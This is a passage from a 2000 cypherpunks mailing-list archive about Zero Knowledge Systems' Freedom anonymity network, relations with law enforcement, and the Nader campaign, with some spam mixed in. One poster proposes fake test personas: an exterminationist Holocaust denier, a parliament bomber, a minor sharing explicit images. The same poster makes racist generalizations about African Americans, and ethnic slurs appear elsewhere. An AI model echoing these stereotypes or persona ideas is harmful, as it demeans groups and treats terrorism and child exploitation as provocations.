for me to try out for a year. I don't know when I'll set aside the time to try to figure out how to use them, how to avoid the installation problems others have reported, but perhaps in the next few weeks. (There are the issues of running it under Virtual PC 3.0 emulating Windows 98 SE I mentioned. Considering the problems folks have reported of it crashing plain vanilla Windows on plain vanilla Intel hardware, I'm skeptical...we'll see.) I'm leaning toward trying for a controlled experiment, such as it is with only 5 nyms, with my nyms split this way: -- one as the persona of a Zundelsite Holocaust denier, calling in newsgroups for the extermination of the ZOG occupiers and the liquidation of millions of Israeli parasites -- one as the persona of a terrorist attempting to arrange the destruction of the Canadian parliament building while it is in session...maybe with copies "accidentally" sent to various wagonburner politicians. -- one as a young Freedom-using nymph using her new Freedom node to trade pictures of herself doing naughty things -- one as a U.S. Navy Chief Petty Officer offering information for sale on Seawolf sailing schedules and design parameters and for a "control": -- one nym asking for help on his U.S. History homework assignment I'll keep you informed. --Tim May...for now! -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Thu Nov 2 00:22:54 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 2 Nov 2000 03:22:54 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <4.3.1.2.20001101222348.0273a618@shell11.ba.best.com> Message-ID: <3.0.5.32.20001102002221.00ae6260@idiom.com> At 03:10 AM 11/2/00 -0500, Tim May wrote: >-- one as the persona of a terrorist attempting to arrange the >destruction of the Canadian parliament building while it is in >session...maybe with copies "accidentally" sent to various >wagonburner politicians. Sounds like a job for Klaus! von Future Prime.... >-- one as a young Freedom-using nymph using her new Freedom node to >trade pictures of herself doing naughty things Yeah, but everybody will assume that's just a trolling cop :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From recordstore at xanta.com Thu Nov 2 08:43:13 2000 From: recordstore at xanta.com (recordstore at xanta.com) Date: Thu, 2 Nov 2000 08:43:13 Subject: CDR: INDEPENDENT RECORD STORE NEWSLETTER Message-ID: <93.545926.819302@xanta.com> ROBERT'S INDEPENDENT RECORD STORE NEWSLETTER If your anything like me and independent music store owner - you wonder how the music business will change in the next several years. I know one thing is for sure though, I probably would not be in the record business now if it hadn't been for my Musicware POS System. I don't know how I managed go so long without a computer in my store. My life has become so much easier and I am making more money by being able to reorder stock quickly and keep customers happy. I strongly suggest that you look into the MUSICWARE POS System for your store. WWW.MUSICWAREPOS.COM Did you hear the newest? Bertelsmann's head of BMG, will withdraw its lawsuit against Napster by joining forces. Check out the newest Billboard article www.billboard.com If you haven't heard of www.Half.com by now, you probably have been on another planet! A lot of independents are selling their used products on this site and it offers promise for indies that need other business opportunities. Check it out! If you are not already selling here. From jacks at wongfaye.com Thu Nov 2 08:47:17 2000 From: jacks at wongfaye.com (jacks at wongfaye.com) Date: Thu, 2 Nov 2000 08:47:17 Subject: CDR: our phone number has changed Message-ID: <348.185704.649457@> *** OUR ORDER LINE NUMBER HAS CHANGED TO 1-888-883-2024 *** Cartridge Depot Order Line: 1-888-883-2024 or 1-888-248-2015 Fax Line: 1-888-977-1577 E-mail removal: 1-888-248-4930 Order by Fax or Phone Laser Printer Toner Cartridges,Fax and Copier Cartridges We accept Government, School & University Purchase Orders Just Leave you PO# with correct Billing & Shipping Address Current Prices are as follows: For hewlett packard printers 4L,4p,1100 and series 2 cartridges are now 49 dollars 2p cartridges are 54 3si cartridges are 75 4000 and 2100 cartridges are 79 5000 and 8100 cartrdidges are 135 5p,6p,5mp and 6mp cartridges are 59 for Aplle printers pro 600 or 16-600 cartridges are now 69 dollars laser writer select 300,320 and 360 cartridges are 69 laser writer 300 and 320 cartridges are 54 laser writer nt,2nt,2f,2g and LS cartridges are 54 laser writer personal 12-640 cartridges are 79 for hewlett packard laser fax machines our laserfax 500,700,5000,7000,fx1 and fx2 cartridges are now 59 our laserfax fx3 cartridges are 69 our laserfax fx4 cartridges are 79 for lexmark and ibm printers optra 4019 and 4029 are now 125 optra r,r+ and optra s cartrisges are 135 optra e cartridges are 59 for canon copiers pc 3, 6re, 7 and 11 (A30) are now 69 pc 300,320,700,720 and 760 (E-40) are 89 Please include your Phone number, Company Name, Shipping Address, items needed with quantities, method of payment (COD or Credit Card) and credit card information. We ship UPS Ground (Add $4.5). Our standard exchange policy is 90 days. (All Cartridges are oem compatible) From tcmay at got.net Thu Nov 2 08:51:03 2000 From: tcmay at got.net (Tim May) Date: Thu, 2 Nov 2000 08:51:03 -0800 Subject: CDR: Nader In-Reply-To: <20001102110055.A32074@cluebot.com> References: <20001102110055.A32074@cluebot.com> Message-ID: At 11:00 AM -0500 11/2/00, Declan McCullagh wrote: >In a 10/14 survey, Gore was leading California by 4 points: >http://www.portraitofamerica.com/html/poll-1214.html > >I suspect with Nader's surge, this lead has narrowed. > I saw a deliriously enthusiastic crowd of supporters for Nader's appearance last night on the Chris Matthews MSNBC show "Hardball." The hall was packed with his supporters, no doubt. Still, the enthusiasm was real, and stronger than what I've seen for Gush or Bore. The audience was howling and cheering as Nader called for populist/communist measures like confiscating the wealth of the rich, muzzling the speech of businessmen, and regulating businesses at all levels. "Does Bill Gates really deserve to have more total net worth than the combined assets of the bottom 40% of our country?!" Whoops and howls. One wonders if Bill Gates will rethink the wisdom of helping to fund MSNBC! Nader is getting a late start in the enthusiasm stakes, but it could be that he'll really surge. A lot of folks are mired deeply in what Nietzsche called "resentiment." They just don't like it when other people have done well by investing instead of by drinking beer for the past 20 years, and they want the successful people taken down a notch or two. Should be exciting to see what happens. If Nader succeeds in taking enough votes from Gore for Bush to win, the Dems may move further to the left in the _next_ election. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From gbroiles at netbox.com Thu Nov 2 09:30:44 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 2 Nov 2000 09:30:44 -0800 Subject: CDR: Re: Nader In-Reply-To: ; from tcmay@got.net on Thu, Nov 02, 2000 at 08:51:03AM -0800 References: <20001102110055.A32074@cluebot.com> Message-ID: <20001102093044.C14857@ideath.parrhesia.com> On Thu, Nov 02, 2000 at 08:51:03AM -0800, Tim May wrote: > Nader is getting a late start in the enthusiasm stakes, but it could > be that he'll really surge. A lot of folks are mired deeply in what > Nietzsche called "resentiment." They just don't like it when other > people have done well by investing instead of by drinking beer for > the past 20 years, and they want the successful people taken down a > notch or two. Ironically, Nader himself is a millionaire, apparently as a result of the investments he's made over the past 20-30 years and his spendthrift lifestyle. Good for him - but it makes me wonder where he'd draw the line between "wealth that's deserved" and "wealth that's not deserved." -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From kenix at tencent.com Wed Nov 1 17:52:35 2000 From: kenix at tencent.com (Kenix) Date: Thu, 2 Nov 2000 09:52:35 +0800 Subject: CDR: any good idea? Message-ID: <003b01c0446f$92a947c0$c001a8c0@Kenix> hi all, suppose we have two numbers, one is serial added(about 8~10 digits), another is a random number(about 7~12 digits), then how can i generate a 5 digits number depends on both of them? there shouldn't have any key so i can verify the 5-digit number later just use the pervious two numbers, i know the security is completely depends on the method that how to generate this 5-digit number. any good method you all can hint me? any good random number generator? TIA. Kenix From tcmay at got.net Thu Nov 2 09:53:31 2000 From: tcmay at got.net (Tim May) Date: Thu, 2 Nov 2000 09:53:31 -0800 Subject: CDR: Re: Nader In-Reply-To: <20001102093044.C14857@ideath.parrhesia.com> References: <20001102110055.A32074@cluebot.com> <20001102093044.C14857@ideath.parrhesia.com> Message-ID: At 9:30 AM -0800 11/2/00, Greg Broiles wrote: >On Thu, Nov 02, 2000 at 08:51:03AM -0800, Tim May wrote: >> Nader is getting a late start in the enthusiasm stakes, but it could >> be that he'll really surge. A lot of folks are mired deeply in what >> Nietzsche called "resentiment." They just don't like it when other >> people have done well by investing instead of by drinking beer for >> the past 20 years, and they want the successful people taken down a >> notch or two. > >Ironically, Nader himself is a millionaire, apparently as a result >of the investments he's made over the past 20-30 years and his >spendthrift lifestyle. Good for him - but it makes me wonder where >he'd draw the line between "wealth that's deserved" and "wealth that's >not deserved." Yep, I heard that he has a multimilllionaire position just in Cisco alone. As you said, good for him. (Frankly, anyone who was in the working force in the late 50s, early 60s, as Nader was, and who lived parsimoniously in a rooming house for all those years had BETTER be a multimillionaire!) As for how he'll draw the line, I'm sure he'll do as other liberals do: support confiscatory income taxes. As the Kennedy clan does. (Of course, the Kennedy clan was careful to have most of its bootlegging money from Old Joe placed in trusts and suchlike.) Many extremely wealthy liberals are all too willing to support wealth confiscation. "I'm willing to have half of my $300 million taken for a good cause, so let's get going and build a communitarian fair society!" --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Thu Nov 2 06:55:21 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 2 Nov 2000 09:55:21 -0500 Subject: CDR: ZKS, government regulation, and new "privacy" laws In-Reply-To: <20001101181628.A25757@weathership.homeport.org>; from adam@homeport.org on Wed, Nov 01, 2000 at 05:59:56PM -0500 References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: <20001102101637.A31486@cluebot.com> On Wed, Nov 01, 2000 at 05:59:56PM -0500, Adam Shostack wrote: > When we say 'nasty l-word' you can assume we're refering to CALEA, > RIP, and that sort of thing. When we talk about legislative > compliance, we mean complying with that whole slew of privacy laws. > > As to the hypothetical that Tim will ask, we'll work very hard to > prevent laws requiring key escrow from coming into being. We spend > time and energy maintaining relations with law enforcement in a lot of > places, explaining to them why we don't build in back doors. And, > suprisingly, when you go and talk to them, rather than hissing and > shouting, they listen. Adam, I believe you. I can't see ZKS supporting CALEA/RIP/etc But ZKS appears to be all in favor of "data protection" legislation (EU data directive, Canadian legislation) that regulates business' privacy practices. This makes sense: It's apparently Austin's personal view, and the more data collection regulations companies must abide by, the more incentive they have to buy your product. You've placed yourself in the unusual position of directly benefiting from additional government regulations. I would expect that your lobbyists will step up their efforts in ths area (one lawyer who does work for you here in DC is a vocal supporter of such private-sector regulation). -Declan From adam at homeport.org Thu Nov 2 07:14:24 2000 From: adam at homeport.org (Adam Shostack) Date: Thu, 2 Nov 2000 10:14:24 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <4.3.0.20001031100154.01638920@mail.well.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: <20001102103056.A980@weathership.homeport.org> On Wed, Nov 01, 2000 at 07:08:06PM -0500, Tim May wrote: | | At 5:59 PM -0500 11/1/00, Adam Shostack wrote: | > | >As to the hypothetical that Tim will ask, we'll work very hard to | >prevent laws requiring key escrow from coming into being. We spend | >time and energy maintaining relations with law enforcement in a lot of | >places, explaining to them why we don't build in back doors. And, | >suprisingly, when you go and talk to them, rather than hissing and | >shouting, they listen. | | By the way, I've been curious about this "we spend time and energy | maintaining relations with law enforcement" point for a while. In | numerous comments I've seen this mentioned. | | Why do you spend any of your valuable time talking to law enforcement/ Because if we don't, then they get confused about what we're trying to accomplish, they forget that privacy has lots of valuable uses which are not the collapse of governments and tax revenue, and try to ban what we're doing. And then they go talk to Parliment to get laws passed. We see that as a bad thing. Having spent time on these conversations, I see it paying off. And no, its not paying off because we've added any backdoors. I think we can agree to disagree on this one, Tim. | ZKS may have aspects of Wei Dai's PipeNet technology (though Wei Dai | remains critical of what he has seen of Freedom, last I heard), but | this additional layer of traffic analysis security is all for naught | if the _interesting_ uses of Freedom are not possible. Enough of our source is out there. (The kernel bits of the AIP went out a few days ago. You can wait on the userland chunks, or write your own.) So, you don't like some aspects of what we've done, replace those parts. Feel free, if you know what the market wants. I'm curious if you'll be running a node yourself? | By the way, the only plausible argument for having extensive traffic | padding measures, a la PipeNet, is to defeat the sniffers and such | typically employed via "national technical means," i.e., NSA, GCHQ, | SDECE, etc. An ordinary little girl using Freedom, the putative | target candidate for Freedom, say the ads, is not going to need | PipeNet-style traffic padding!!! Actually, I'm unconvinced that even pipenet style padding is sufficient. Looking at the work on traffic analysis thats been done, we're in about 1970. We have one time pads (dc-nets), and some other stuff, but we don't have a DES to analyze. We have an adversary who has spent a long time learning how to do this well. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From adam at homeport.org Thu Nov 2 07:22:29 2000 From: adam at homeport.org (Adam Shostack) Date: Thu, 2 Nov 2000 10:22:29 -0500 Subject: CDR: Re: The Market for Privacy In-Reply-To: References: Message-ID: <20001102103909.B980@weathership.homeport.org> On Wed, Nov 01, 2000 at 11:14:27PM -0500, Lucky Green wrote: | In my view (I suspect this may be in agreement with Tim's comments above, | though I naturally do not presume to speak for Tim) ZKS' inability to derive | meaningful revenue of the Freedom (TM) product can be explained quite | trivially: the product fails to meet market requirements. Those willing to | pay cash to protect their Internet activities demand real privacy. Not the | watered-down, Mickey Mouse "privacy" Freedom provided. | | Freedom does not offer the user untracable IP. Hence those seeking | untracable IP didn't buy the product. Little surprise here. Freedom's | current fate was predicted in detail on this list the moment ZKS' deviated | from their initial anon IP promises. I'm really curious to see who goes into business selling full-bore anonymous IP on our codebase. If anyone really wants to, we'll be happy to spend a day or two telling you about all our in-progress traffic analysis results, so you don't need to re-do that work. (It will all be published as it becomes ready for publication, but if someone really wants to pursue this business, we'll show you what we've done.) Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From declan at well.com Thu Nov 2 07:24:30 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 2 Nov 2000 10:24:30 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: ; from tcmay@got.net on Wed, Nov 01, 2000 at 07:08:06PM -0500 References: <4.3.0.20001031100154.01638920@mail.well.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: <20001102104550.A31765@cluebot.com> One legitimate reason for chatting with LE is to educate them just a little so they don't overreact when the 747-bomb-attack or the sarin-gas-plans show up on Freedom. It also seems consistent with ZKS's goal to be perceived as a good corporate citizen. Finally, it's what I'd expect ZKS's financial backers would require. When you get ~$40 million in VC funds for cypherpunkly technologies, you get some strings attached too. It is a sad day when being a good corporate citizen means chatting with LE on such friendly terms, but probably many companies do it; this is not an area where I suspect ZKS is alone. -Declan On Wed, Nov 01, 2000 at 07:08:06PM -0500, Tim May wrote: > Why do you spend any of your valuable time talking to law enforcement/ > > Where I come from, law enforcement enters the picture during a > criminal investigation. And then one is usually advised to say "I > have nothing to say." Chatting with cops is rarely useful, and is > often harmful. Ditto for lawmakers, unless one is seeking some way to > get them to get out of the way. > > I can't speak for Mojo Nation, but I think it nearly 100% certain > that Jim McCoy is not "spending time and energy maintaining relations > with law enforcement." From declan at well.com Thu Nov 2 07:26:00 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 2 Nov 2000 10:26:00 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101193839.007ed9a0@pop.sprynet.com>; from honig@sprynet.com on Wed, Nov 01, 2000 at 10:45:22PM -0500 References: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101181628.A25757@weathership.homeport.org> <3.0.6.32.20001101193839.007ed9a0@pop.sprynet.com> Message-ID: <20001102104724.B31765@cluebot.com> BTW ZKS audiotaped my phone interview with Austin (they informed me of such before it began). If they tape conversations with journalists, they definitely should tape conversations with Feds. :) -Declan On Wed, Nov 01, 2000 at 10:45:22PM -0500, David Honig wrote: > Please video and archive. Taxpayers want to know. From jya at pipeline.com Thu Nov 2 07:29:53 2000 From: jya at pipeline.com (John Young) Date: Thu, 02 Nov 2000 10:29:53 -0500 Subject: CDR: Re: ZKS, government regulation, and new "privacy" laws In-Reply-To: <20001102101637.A31486@cluebot.com> References: <20001101181628.A25757@weathership.homeport.org> <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: <200011021538.KAA10362@smtp6.mindspring.com> Interesting take, Declan. Which highlights how most of natsec-developed technology entering the market gets the benefit of dual-use regulation. Janus the model. Self-policing is a kissing cousin of self-censorship, both pretend at keeping the fuzz out of private affairs by pretending to be doing nothing worth official attention. And both need regular contact with cops to assure that all is in order, give or take a few handovers of those who go too far, whose names just happened to pop up in this handy snitch program. Banks and telecomms been doing the snitch not nearly as long as the church, rather the state snitching to the church, depending on who's in charge of the day's inquisition. (Interesting stuff in recent books on Vatican and global intel services regular kiss-kissing.) Austin promised a few months back, I believe here, that he would keep us informed of his meetings with law enforcement officials. I must have missed those reports among the pr downpour. This is not to say that he did not report to select customers on how those briefings are going. Question is which cpunks at ZKS will be handed over to assure displeased oversighters. And who there will smile among themselves at the gullible fools' failure to see what realists always claim is obvious behind the cloak of successful wedding of business and government and foolsgold faith that it can never ever happen here, not so long as I'm around (the refrain at PGP, and others of the trusted second party). Young men and a few women die all the time for they know not what strategy considered them expendable -- in the national interest, lately, but traditionally to assure rule-makers they are quite exceptional to the rules. From adam at homeport.org Thu Nov 2 07:32:02 2000 From: adam at homeport.org (Adam Shostack) Date: Thu, 2 Nov 2000 10:32:02 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3A00CDE3.419BCDF7@harmon.arrowhead.lib.mn.us> References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> <3A00CDE3.419BCDF7@harmon.arrowhead.lib.mn.us> Message-ID: <20001102104835.A1177@weathership.homeport.org> On Wed, Nov 01, 2000 at 09:14:08PM -0500, Harmon Seaver wrote: | | Tim May wrote: | | > Anyone know how well Freedom 1.1 operates under Virtual PC 3.0 | > running Windows 98 SE with underlying Mac PPP and TCP/IP services? | > | | I haven't tried it with VPC on my Mac, but I tried several times (with | two different releases) to get it to work with Vmware on a linux box. It was | never able to get connected for it's initial config. I could go anywhere else | on the net, but once I tried to use Freedom, it not only wouldn't connect to | them, but then trashed all my tcp/ip networking until I removed it. potsmoker at beta.freedom.net reported that some virtual pc environment worked on the Mac for the 1.0 beta. | Which was surprising, actually -- I think it's the first thing I've found | that I couldn't get to work with Vmware. was that 1.0? I had the same problem, 1.1 worked great, and I haven't tested 2.0, since I've been running the native linux code for a while. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From bear at sonic.net Thu Nov 2 10:43:02 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 2 Nov 2000 10:43:02 -0800 (PST) Subject: CDR: Re: Nader In-Reply-To: Message-ID: On Thu, 2 Nov 2000, Tim May wrote: >Nader is getting a late start in the enthusiasm stakes, but it could >be that he'll really surge. A lot of folks are mired deeply in what >Nietzsche called "resentiment." They just don't like it when other >people have done well by investing instead of by drinking beer for >the past 20 years, and they want the successful people taken down a >notch or two. Most of these folks have a perception that they've been locked out of doing well -- if your parents couldn't afford a good school, or if they can't afford *any* school and you put yourself through, it colors your opportunities for at least the first six or eight years of your professional career. If your money went to support parents who didn't have anything saved for retirement, you automatically don't have as much saved for your own retirement. If you start out with no wealth, then the guy born to wealthy parents, or with wealthy connections from the posh private school he went to, who bankroll his business startup, is taking an advantage you never had. I think a lot of people resenting those who've done well is actually resenting people who had opportunities - provided through no merit of their own - that were denied to them. If you're going to think in terms of "doing well," in terms of skill and dedication and saving and investment making you into one of the upper upper-crust in this culture, you aren't thinking of individuals, really. You really have to think of several *generations* of a family building and passing on wealth and opportunity to the next generation. It works for individuals too, but it's much harder to do and in a single lifetime the odds against rising from an illiterate family with no savings to being one of the super-rich are negligible no matter how good you are. You can get rich enough to live off your investments, sure -- but reaching the billionaire league is a multi- generational project. I've struggled with this one myself. My folks were hillbillies. So I started with just about nothing, myself. However, I had opportunities, and I took them and did fairly well with them. Public schools. Merit scholarships to start the college career. The ability to work two jobs while taking classes to finish it. The kind of health that isn't fazed by a few days without food or a month of living outdoors. A Ridiculously high IQ. A strong back. A hometown community where I could build a reputation as a good worker, and so have steady pick-up jobs through times when a lot of people didn't have steady work even with full-time jobs. These are real opportunities, though most of them aren't of the magnitude that fate granted to Bill Gates and his ilk. I'm on track to retire comfortably -- at my current pace, if I can hold it, I will be a millionaire within the next five years. But I'm 37 years old and it has taken me this long to overcome where I started. If public schools and state-sponsored scholarships are removed, I don't like to think of where I'd have been. I think it's not unreasonable that a certain amount of public money should go to opportunities -- schools and scholarships especially -- because these are investments that taxes pay back. If you make loans to individuals, some get paid back and some don't. The ones that get paid back, could have paid a hell of a lot more, and the ones that don't are worse off than when they started. But if you make "loans" to populations, in the form of supporting schools and scholarships, the increased ability of that population to earn, and subsequent tax revenues, *do* pay it all back, and then some. I hope we find a way to make such things into palatable business propositions and privatize them; I'd hate to see them die with governments. Bear From brflgnk at cotse.com Thu Nov 2 07:46:30 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Thu, 02 Nov 2000 10:46:30 -0500 Subject: CDR: Yet another key maintainence infrastructure? Message-ID: <973179990.3a018c56304a3@webmail.cotse.com> I ran across a (new?) company, Authentica, that's fielding a security model for email, web pages and documents. The mail product, MailRecall, uses a plugin that fetches a key lease for each received message and restricts access based on the properties of the lease. Their website, http://www.authentica.com, has little to no real information about the actual crypto or key protocols used. Anyone heard about this? Thoughts on its usefulness? On a similar note, I had run across http://www.safedepositbox.com a few weeks ago and actually sent email asking what they were using to protect stored documents. The website was pretty vague, and the response was about the same. The flack blathered on about not sharing that information outside their NDA'd "Trusted Partners", though he assured me they used "industry standard" protocols. From ibnhamed at omantel.net.om Wed Nov 1 23:00:50 2000 From: ibnhamed at omantel.net.om (ibnhamed) Date: Thu, 2 Nov 2000 11:00:50 +0400 Subject: No subject Message-ID: <000a01c0449a$a3046340$2a251fac@omantel.net.om> please sent me some sampels -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 335 bytes Desc: not available URL: From declan at well.com Thu Nov 2 08:00:55 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 2 Nov 2000 11:00:55 -0500 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: ; from phaedrus@sdf.lonestar.org on Wed, Nov 01, 2000 at 01:42:18PM -0600 References: Message-ID: <20001102110055.A32074@cluebot.com> In a 10/14 survey, Gore was leading California by 4 points: http://www.portraitofamerica.com/html/poll-1214.html I suspect with Nader's surge, this lead has narrowed. For more detailed analysis: http://www.cluebot.com/search.pl?topic=election -Declan On Wed, Nov 01, 2000 at 01:42:18PM -0600, Phaedrus wrote: > > On Wed, 1 Nov 2000, Tim May wrote: > > > However, as any vote is of marginal importance, as with the > > amelioration issue you mention, I'm still undecided. Needless to say, > > neither Gore nor Nader are in my universe of choices, however. > > I'm making a somewhat wild assumption that you're voting in California -- > as am I. As far as I can tell, Gore is going to take california, so by my > reasoning I'm free to vote with my conscience, since a vote for either > bush or gore wouldn't make a difference in this case. If you haven't > already you might want to consider that point (and do the research > yourself to back it up or disprove it -- don't take my word for it). > > Ph. > From tcmay at got.net Thu Nov 2 11:12:54 2000 From: tcmay at got.net (Tim May) Date: Thu, 2 Nov 2000 11:12:54 -0800 Subject: CDR: Re: Nader In-Reply-To: References: Message-ID: At 10:43 AM -0800 11/2/00, Ray Dillinger wrote: > >Most of these folks have a perception that they've been locked out >of doing well -- if your parents couldn't afford a good school, or >if they can't afford *any* school and you put yourself through, it >colors your opportunities for at least the first six or eight years >of your professional career. Not the crowd I mentioned, ironically. This was at the University of Wisconsin campus at Madison. Mostly well-off kids, at a rich campus. > >If you're going to think in terms of "doing well," in terms of skill >and dedication and saving and investment making you into one of the >upper upper-crust in this culture, you aren't thinking of individuals, >really. You really have to think of several *generations* of a >family building and passing on wealth and opportunity to the next >generation. It works for individuals too, but it's much harder to >do and in a single lifetime the odds against rising from an illiterate >family with no savings to being one of the super-rich are negligible >no matter how good you are. You can get rich enough to live off your >investments, sure -- but reaching the billionaire league is a multi- >generational project. This is not true. Most billionaires in the United States did it in a single generation. On the Fortune list of billionaires, most made the money by starting companies. Only a handful are heirs. I won't bother citing the usual figures on how heirs tend to spend down the inheritance, not increase it, at least not any faster than ordinary T-bill rates would predict. > >I've struggled with this one myself. My folks were hillbillies. So >I started with just about nothing, myself. However, I had opportunities, >and I took them and did fairly well with them. Public schools. Merit >scholarships to start the college career. The ability to work two jobs >while taking classes to finish it. Mostly a cultural thing. It's very common for Asian ancestry persons in the U.S. to work extremely hard, to live with other Asians in very crowded houses and apartments, to save most of what is earned, to loyally support and lend money to their circle of friends and family, and then to start some small business. With hard work, they often prosper. By contrast, it is very common for African ancestry persons in the U.S. to complain that Whitey hasn't given them enough money, that they are owed a good job, to smoke crack cocaine, and to father many illegitimate children. Hence the statistics of Asians vs. Africans on the welfare rolls. These are cultural, not racial, issues. Sad, but true. > >jobs. These are real opportunities, though most of them aren't of the >magnitude that fate granted to Bill Gates and his ilk. I'm on track >to retire comfortably -- at my current pace, if I can hold it, I will >be a millionaire within the next five years. But I'm 37 years old and >it has taken me this long to overcome where I started. I won't get into comparing our situations, but I believe the key ingredient is work, saving, investment, a positive outlook for the future, and more work. It worked for me, no thanks to government and taxation. BTW, most of the younger folks I know in software have no college degree. > >I hope we find a way to make such things into palatable business >propositions and privatize them; I'd hate to see them die with >governments. Nothing wrong with indentured servitude. You can read some pieces I wrote about this many years ago, circa '93-94. The archives should have them. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From k.brown at ccs.bbk.ac.uk Thu Nov 2 03:36:55 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 02 Nov 2000 11:36:55 +0000 Subject: CDR: Re: any good idea? References: <003b01c0446f$92a947c0$c001a8c0@Kenix> Message-ID: <3A0151D7.A148EF3D@ccs.bbk.ac.uk> This is not a very good place to ask these sort of questions because (a) the list is meant to be about the use and politics and economics of crypto-technology (b) loads of people and (c) well... I could tell you half a dozen ways but I would be making it up and you ought not to trust me. There are mailing lists and newsgroups more directly about the details of cryptography. Check out some maths books in a library. Or try to find a copy of Bruce Schneier's Applied Cryptography book. Or use your search engine of choice to find web pages discussing "hashing algorithms", "checksums", "authentication", & the like. Ken Brown Kenix wrote: > > hi all, > suppose we have two numbers, one is serial added(about 8~10 digits), > another is a random number(about 7~12 digits), then how can i generate a 5 > digits number depends on both of them? there shouldn't have any key so i can > verify the 5-digit number later just use the pervious two numbers, i know > the security is completely depends on the method that how to generate this > 5-digit number. > any good method you all can hint me? any good random number generator? > > TIA. > Kenix From k.brown at ccs.bbk.ac.uk Thu Nov 2 03:40:45 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 02 Nov 2000 11:40:45 +0000 Subject: CDR: Re: References: <000a01c0449a$a3046340$2a251fac@omantel.net.om> Message-ID: <3A0152BD.198A86C@ccs.bbk.ac.uk> > ibnhamed wrote: > > please sent me some sampels OK, I made 128 for you: sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel sampel From accounts at betworldwide.com Thu Nov 2 10:06:48 2000 From: accounts at betworldwide.com (accounts at betworldwide.com) Date: Thu, 2 Nov 2000 12:06:48 -0600 Subject: CDR: WEEKENDS SPORTS SCHEDULE!!! Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/html Size: 4590 bytes Desc: not available URL: From obfuscation at beta.freedom.net Thu Nov 2 09:58:29 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 2 Nov 2000 12:58:29 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) Message-ID: <200011021758.MAA13062@domains.invweb.net> > I'm leaning toward trying for a controlled experiment, such as it is > with only 5 nyms, with my nyms split this way: The new Freedom 2.0 beta uses a different method for receiving nym email than in 1.0. 1.0 used remailer reply blocks. Several separate blocks were set up due to the unreliability of the remailer network (?). The Freedom servers sent mail to all the reply blocks. The client software was then smart enough to eliminate the duplicates if more than one came through. 2.0 just runs a POP server at freedom.net. Then you connect to it via the anonymous Freedom network, as when you are web browsing or using IRC anonymously. You retrieve your mail and you're done. It seems to be much more reliable. Any comments on whether this new approach provides less privacy? Note that the beta test is using only a few servers, all controlled by ZKS, and so provides no real anonymity. That will change once 2.0 is released. Ob From tcmay at got.net Thu Nov 2 10:37:05 2000 From: tcmay at got.net (Tim May) Date: Thu, 2 Nov 2000 13:37:05 -0500 Subject: CDR: ZKS: Flawed model for centralization and rates 